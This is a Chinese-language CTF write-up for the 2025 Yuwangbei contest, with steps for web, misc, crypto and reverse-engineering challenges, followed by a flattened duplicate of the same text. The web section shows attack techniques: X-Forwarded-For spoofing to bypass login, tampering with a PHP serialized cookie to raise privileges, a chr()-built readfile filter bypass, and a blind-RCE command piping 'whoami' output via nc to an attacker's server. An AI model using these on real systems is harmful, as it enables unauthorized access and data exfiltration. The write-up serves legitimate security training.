2025御网杯 misc+crypto+web全解+re1
字数 2222 2025-08-29 22:41:01

2025御网杯CTF全解教学文档

Web安全部分

YWB_Web_xff

解题步骤:

  1. 查看网页源码,发现需要修改IP进行登录
  2. 使用浏览器插件(如ModHeader)修改X-Forwarded-For头
  3. 随意输入登录凭据即可通过验证

技术要点:

  • X-Forwarded-For (XFF) HTTP头通常用于识别客户端原始IP
  • 服务器信任了可被用户控制的HTTP头导致认证绕过

YWB_Web_未授权访问

解题步骤:

  1. 抓包分析请求,发现Cookie存在问题
  2. 对Cookie进行URL解码,发现是序列化数据
  3. 观察序列化数据最后一位是0,修改为1实现越权访问

序列化数据格式示例:

a:2:{s:8:"username";s:5:"admin";s:6:"status";i:0;}

修改为:

a:2:{s:8:"username";s:5:"admin";s:6:"status";i:1;}

技术要点:

  • PHP反序列化漏洞
  • 通过修改序列化数据中的权限标志实现权限提升

easyweb (无回显RCE)

解题步骤:

  1. 代码审计发现需要POST传参cmd
  2. 发现回显被注释,属于无回显RCE
  3. 使用curl进行数据外带:
    curl http://target.com --data "cmd=whoami | nc your_server_ip 4444"
    
  4. 在公网服务器使用nc监听获取结果

技术要点:

  • 无回显命令执行利用技巧
  • 数据外带技术(DNS/HTTP/ICMP等)
  • 公网服务器作为中继点

YWB_Web_命令执行过滤绕过

解题步骤:

  1. 源码审计发现多重过滤
  2. 传入参数必须包含"flag"
  3. 在网页源码注释中发现线索
  4. 使用readfile函数读取/tmp/flag.nisp

Payload分析:

$_(%27/tmp/flag.nisp%27)

其中:

  • chr()将ASCII码转换为字符串
  • 使用点(.)拼接字符串
  • $_变量赋值为"readfile"
  • 最终等效于readfile('/tmp/flag.nisp')

技术要点:

  • 字符串构造技巧绕过过滤
  • 变量动态函数调用
  • 文件路径猜测

YWB_Web_反序列化

解题步骤:

  1. 源码审计发现反序列化入口点
  2. 抓包分析发现存在序列化参数点
  3. 构造恶意序列化数据实现攻击

技术要点:

  • PHP反序列化漏洞利用
  • 魔术方法(__wakeup, __destruct等)的利用
  • POP链构造

杂项(Misc)部分

ez_xor

解题步骤:

  1. 分析附件内容
  2. 识别出是XOR加密
  3. 使用0x39作为密钥进行异或解密

技术要点:

  • XOR加密原理
  • 密钥识别与破解

光隙中的寄生密钥

解题步骤:

  1. 分析图片附件
  2. 使用binwalk分离出加密文档
  3. 使用ARCHPR进行爆破
  4. 对得到的密文先hex解码再base64解码

技术要点:

  • 文件隐写分析
  • 密码爆破工具使用
  • 编码转换技巧

被折叠的显影图纸

解题步骤:

  1. 直接使用自动化工具处理
  2. 可能需要多次解码或转换

ez_picture

解题步骤:

  1. 分析图片RGB通道异常
  2. 发现随波逐流图片特性
  3. 提取出加密压缩包
  4. 解密得到图片,再次分析发现base64编码
  5. 解码后发现PK头(ZIP文件特征)
  6. 修改文件扩展名为zip并解压
  7. 重复上述过程最终获取flag

技术要点:

  • 图片隐写分析
  • 文件格式识别
  • 多层编码/加密处理

easy_misc

解题步骤:

  1. 编写脚本处理文件内容
  2. 将ASCII码转换为字符
  3. 得到base64编码结果
  4. 先进行base58解码
  5. 再进行凯撒解密

技术要点:

  • 编码转换
  • 古典密码分析

密码学(Crypto)部分

easy-签到题

解题步骤:

  1. 分析exe文件
  2. 读取hex数据
  3. 使用密码学工具箱直接解密

cry_rsa

解题步骤:

  1. 分析RSA题目附件
  2. 编写解密脚本:
    from Crypto.Util.number import *
    # 提供n, e, c等参数
    # 进行RSA解密操作
    
  3. 直接计算得到flag

技术要点:

  • RSA算法原理
  • 大数分解
  • 模运算

gift

解题步骤:

  1. 分析附件内容
  2. 根据题目提示("披萨")联想到"pie"(饼)
  3. 尝试pie作为密钥解密
  4. 得到flag{zso}

技术要点:

  • 密码学中的语义提示
  • 密钥猜测技巧

草甸方阵的密语

解题步骤:

  1. 根据提示使用栅栏密码+凯撒密码
  2. 随波逐流读取exe文件
  3. 栅栏解密(7栏)
  4. 凯撒解密

技术要点:

  • 栅栏密码原理
  • 凯撒密码破解
  • 组合密码分析

ez_base

解题步骤:

  1. 识别为垃圾邮件编码
  2. 使用spammimic网站解码器处理
  3. 得到字符串后进行base64解码

技术要点:

  • 特殊编码识别
  • 在线工具辅助分析

baby_rsa

解题步骤:

  1. 分析txt附件内容
  2. 识别exe的hex数据实为python脚本
  3. 修改文件后缀为.py
  4. 编写解密脚本:
    # 提供RSA参数
    # 实现解密逻辑
    
  5. 将结果中的4改为5提交

技术要点:

  • 文件格式识别
  • RSA算法实现
  • Python脚本分析

逆向工程(Re)部分

sign in

解题步骤:

  1. 使用strings查看文件,发现UPX壳
  2. 使用upx -d脱壳
  3. IDA打开脱壳后文件,F5查看伪代码
  4. 分析发现RC4加密方法
  5. 定位rc4_crypt加密函数
  6. 分析callme函数的加密逻辑,提取密钥和字符串
  7. 编写解密脚本

技术要点:

  • 加壳识别与脱壳
  • 静态分析工具使用
  • RC4算法分析
  • 密钥提取与解密脚本编写

综合技巧总结

  1. Web安全:

    • 始终检查源码和注释
    • 关注HTTP头操作(XFF, Cookie等)
    • 序列化/反序列化漏洞利用
    • 命令执行过滤绕过技巧
  2. Misc:

    • 文件分析三板斧:binwalk, strings, hexdump
    • 多层编码/加密识别
    • 自动化脚本处理
  3. Crypto:

    • 识别密码类型(对称/非对称/古典)
    • 利用现有工具加速解密
    • 注意题目中的语义提示
  4. Reverse:

    • 加壳识别与处理
    • 静态分析结合动态调试
    • 加密算法识别与逆向

通过以上详细分析和解题步骤,参赛者可以全面掌握2025御网杯CTF中的各类题型和解题技巧。

2025御网杯CTF全解教学文档 Web安全部分 YWB_ Web_ xff 解题步骤: 查看网页源码,发现需要修改IP进行登录 使用浏览器插件(如ModHeader)修改X-Forwarded-For头 随意输入登录凭据即可通过验证 技术要点: X-Forwarded-For (XFF) HTTP头通常用于识别客户端原始IP 服务器信任了可被用户控制的HTTP头导致认证绕过 YWB_ Web_ 未授权访问 解题步骤: 抓包分析请求,发现Cookie存在问题 对Cookie进行URL解码,发现是序列化数据 观察序列化数据最后一位是0,修改为1实现越权访问 序列化数据格式示例: 修改为: 技术要点: PHP反序列化漏洞 通过修改序列化数据中的权限标志实现权限提升 easyweb (无回显RCE) 解题步骤: 代码审计发现需要POST传参cmd 发现回显被注释,属于无回显RCE 使用curl进行数据外带: 在公网服务器使用nc监听获取结果 技术要点: 无回显命令执行利用技巧 数据外带技术(DNS/HTTP/ICMP等) 公网服务器作为中继点 YWB_ Web_ 命令执行过滤绕过 解题步骤: 源码审计发现多重过滤 传入参数必须包含"flag" 在网页源码注释中发现线索 使用readfile函数读取/tmp/flag.nisp Payload分析: 其中: chr() 将ASCII码转换为字符串 使用点(.)拼接字符串 $_ 变量赋值为"readfile" 最终等效于 readfile('/tmp/flag.nisp') 技术要点: 字符串构造技巧绕过过滤 变量动态函数调用 文件路径猜测 YWB_ Web_ 反序列化 解题步骤: 源码审计发现反序列化入口点 抓包分析发现存在序列化参数点 构造恶意序列化数据实现攻击 技术要点: PHP反序列化漏洞利用 魔术方法(__ wakeup, __ destruct等)的利用 POP链构造 杂项(Misc)部分 ez_ xor 解题步骤: 分析附件内容 识别出是XOR加密 使用0x39作为密钥进行异或解密 技术要点: XOR加密原理 密钥识别与破解 光隙中的寄生密钥 解题步骤: 分析图片附件 使用binwalk分离出加密文档 使用ARCHPR进行爆破 对得到的密文先hex解码再base64解码 技术要点: 文件隐写分析 密码爆破工具使用 编码转换技巧 被折叠的显影图纸 解题步骤: 直接使用自动化工具处理 可能需要多次解码或转换 ez_ picture 解题步骤: 分析图片RGB通道异常 发现随波逐流图片特性 提取出加密压缩包 解密得到图片,再次分析发现base64编码 解码后发现PK头(ZIP文件特征) 修改文件扩展名为zip并解压 重复上述过程最终获取flag 技术要点: 图片隐写分析 文件格式识别 多层编码/加密处理 easy_ misc 解题步骤: 编写脚本处理文件内容 将ASCII码转换为字符 得到base64编码结果 先进行base58解码 再进行凯撒解密 技术要点: 编码转换 古典密码分析 密码学(Crypto)部分 easy-签到题 解题步骤: 分析exe文件 读取hex数据 使用密码学工具箱直接解密 cry_ rsa 解题步骤: 分析RSA题目附件 编写解密脚本: 直接计算得到flag 技术要点: RSA算法原理 大数分解 模运算 gift 解题步骤: 分析附件内容 根据题目提示("披萨")联想到"pie"(饼) 尝试pie作为密钥解密 得到flag{zso} 技术要点: 密码学中的语义提示 密钥猜测技巧 草甸方阵的密语 解题步骤: 根据提示使用栅栏密码+凯撒密码 随波逐流读取exe文件 栅栏解密(7栏) 凯撒解密 技术要点: 栅栏密码原理 凯撒密码破解 组合密码分析 ez_ base 解题步骤: 识别为垃圾邮件编码 使用spammimic网站解码器处理 得到字符串后进行base64解码 技术要点: 特殊编码识别 在线工具辅助分析 baby_ rsa 解题步骤: 分析txt附件内容 识别exe的hex数据实为python脚本 修改文件后缀为.py 编写解密脚本: 将结果中的4改为5提交 技术要点: 文件格式识别 RSA算法实现 Python脚本分析 逆向工程(Re)部分 sign in 解题步骤: 使用strings查看文件,发现UPX壳 使用upx -d脱壳 IDA打开脱壳后文件,F5查看伪代码 分析发现RC4加密方法 定位rc4_ crypt加密函数 分析callme函数的加密逻辑,提取密钥和字符串 编写解密脚本 技术要点: 加壳识别与脱壳 静态分析工具使用 RC4算法分析 密钥提取与解密脚本编写 综合技巧总结 Web安全: 始终检查源码和注释 关注HTTP头操作(XFF, Cookie等) 序列化/反序列化漏洞利用 命令执行过滤绕过技巧 Misc: 文件分析三板斧:binwalk, strings, hexdump 多层编码/加密识别 自动化脚本处理 Crypto: 识别密码类型(对称/非对称/古典) 利用现有工具加速解密 注意题目中的语义提示 Reverse: 加壳识别与处理 静态分析结合动态调试 加密算法识别与逆向 通过以上详细分析和解题步骤,参赛者可以全面掌握2025御网杯CTF中的各类题型和解题技巧。